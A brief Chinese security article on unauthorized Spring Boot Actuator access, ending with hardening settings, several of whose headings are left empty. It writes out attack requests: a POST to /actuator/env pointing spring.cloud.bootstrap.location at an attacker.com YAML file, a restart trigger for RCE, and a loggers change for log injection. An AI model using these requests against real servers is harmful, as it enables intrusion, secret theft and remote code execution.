Spring Boot Actuator 是一个用于监控和管理 Spring Boot 应用的模块,提供了许多生产就绪的特性。当配置不当时,攻击者可能通过未授权访问 Actuator 端点获取敏感信息,甚至实现远程代码执行(RCE)。
首先攻击者会扫描常见的 Actuator 端点,如:
/actuator
/actuator/env
/actuator/heapdump
/actuator/mappings
/actuator/beans
/actuator/health
如果这些端点可以未授权访问,攻击者就能获取大量敏感信息。
访问 /actuator/env
可以获取环境变量、配置属性等,可能包含:
- 数据库凭据
- API密钥
- 加密密钥
- 其他敏感配置
某些 Actuator 端点支持 HTTP POST 请求修改配置,特别是:
/actuator/env
/actuator/restart
/actuator/loggers
在特定版本的 Spring Boot 中,可以通过修改环境变量实现 RCE:
POST /actuator/env HTTP/1.1
Host: target.com
Content-Type: application/json
{
"name":"spring.cloud.bootstrap.location",
"value":"http://attacker.com/malicious.yml"
}
然后触发应用重启:
POST /actuator/restart HTTP/1.1
Host: target.com
恶意 YAML 文件可以包含恶意 SPEL 表达式实现 RCE。
如果不能修改环境变量,可以尝试修改日志配置:
POST /actuator/loggers/org.springframework.web HTTP/1.1
Host: target.com
Content-Type: application/json
{
"configuredLevel": "TRACE"
}
然后通过日志注入恶意代码。
访问控制:
management.endpoints.web.exposure.include
只暴露必要端点敏感端点禁用:
management.endpoint.env.enabled=false
management.endpoint.restart.enabled=false
网络层防护:
更新版本:
监控:
Spring Boot Actuator 的未授权访问漏洞可能导致严重的信息泄露甚至远程代码执行。开发人员应始终遵循最小权限原则,严格控制生产环境中 Actuator 端点的访问权限,并定期进行安全审计。